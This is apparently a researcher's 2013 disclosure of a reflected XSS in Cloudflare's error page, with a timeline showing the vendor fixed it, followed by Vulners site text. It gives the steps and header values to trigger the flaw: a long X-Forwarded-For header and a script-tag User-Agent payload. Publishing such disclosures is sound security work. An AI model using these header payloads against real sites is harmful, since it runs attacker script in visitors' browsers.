`Details below of an XSS vulnerability I discovered in Cloudflare (markdown
format)
- Glenn | /dev/alias
* http://blog.devalias.net
* http://devalias.net
-----
**Reference Number:** DAHAX-2013-001 (/dev/alias/hacks 2013-001)
**Notification Timeline:**
* 10/07/2013, Request# 38713 (
https://support.cloudflare.com/anonymous_requests/new)
* 10/07/2013, Vendor looking into issue
* 16/07/2013, Updated vendor with new details (Length: 101 instead of 72)
* 16/07/2013, Vendor requested that I test again
* [No further response from vendor]
* 01/08/2013, Tested again, vulnerability fixed
**Details Published:** 14/08/2013 (
http://blog.devalias.net/post/58217238426/dahax-2013-001-cloudflare-xss-vulnerability
)
## What?
* Reflected XSS (cross site scripting) attack
## Where's Affected?
* Theoretically it seems that any page that uses cloudflare will be
affected.
- Eg: http://www.cloudflare.com/
## How?
* **To bring up the vulnerable page**
- Set your X-Forwarded-For header to <del>72+</del> 101+ characters
- <del>Eg: X-Forwarded-For:
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHH</del>
- Eg: <pre>X-Forwarded-For:
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJK</pre>
- Load a site using cloudflare
- You should end up on "DNS Points to Prohibited IP" page
* **To trigger the XSS**
- Set your User-Agent string to the XSS attack
- Eg: <pre>User-Agent: USER-AGENT being tested for
XSS..<script>alert('Vulnerable to XSS via USER-AGENT header [Found by
devalias.net]')</script></pre>
* **The whole attack**
- Ensure your X-Forwarded-For and User-Agent headers are configured as
above
- Navigate to a page using cloudflare
- ???
- Profit!
## Who?
* Discovered by [Glenn '/dev/alias' Grant](http://www.devalias.net/) (
[email protected])
## Responsible Disclosure Notice
* Following in the footsteps of Google's vulnerability disclosure timeline,
unless otherwise agreed to beforehand, I reserve the right to publicly
announce the details of any discovered vulnerabilities 7 days post
notification.
* **Google's Rationale:** "Seven days is an aggressive timeline and may
be too short for some vendors to update their products, but it should be
enough time to publish advice about possible mitigations, such as
temporarily disabling a service, restricting access, or contacting the
vendor for more information. As a result, after 7 days have elapsed without
a patch or advisory, we will support researchers making details available
so that users can take steps to protect themselves. By holding ourselves to
the same standard, we hope to improve both the state of web security and
the coordination of vulnerability management." - [Google](
http://googleonlinesecurity.blogspot.com.au/2013/05/disclosure-timeline-for-vulnerabilities.html
)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation